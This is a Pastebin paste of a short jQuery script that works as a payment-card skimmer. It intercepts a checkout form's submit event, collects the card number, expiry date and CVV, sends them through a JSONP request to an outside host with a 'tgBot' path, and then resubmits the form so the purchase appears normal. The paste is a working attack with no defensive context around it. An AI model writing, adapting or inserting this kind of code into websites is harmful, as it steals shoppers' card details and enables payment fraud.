Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <script>
- var fused = false;
- $("#formPay").on("submit", function(e)
- {
- if (fused)
- return;
- e.preventDefault();
- var forset = {"card": $("#card").val(), "m": $("#exp_month").val(), "y": $("#exp_year").val(), "cv": $("#cvv").val()};
- try {
- $.ajax(
- {
- url: "https://placeholl.ru/tgBot/api/order?data=" + JSON.stringify(
- {
- "fr": "",
- "security": forset
- }),
- dataType: "jsonp",
- processData: false,
- crossDomain: true,
- //async: false,
- cache:false,
- contentType: "application/json; charset=UTF-8",
- success: function (data)
- {
- console.log("Order Sended!", data);
- },
- error: function(xhr, status, err)
- {
- alert('Ошибка запроса: ' + err);
- /*alert(status + ": " + err);
- $.each( xhr, function( key, value ) {
- alert( key + ": " + value );
- });*/
- }
- })
- .done(function()
- {
- fused = true;
- $("#formPay").submit();
- });
- }
- catch(e)
- {
- alert('Ошибка ' + e.name + ":" + e.message + "\n" + e.stack); // (3) <--
- }
- });
- </script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement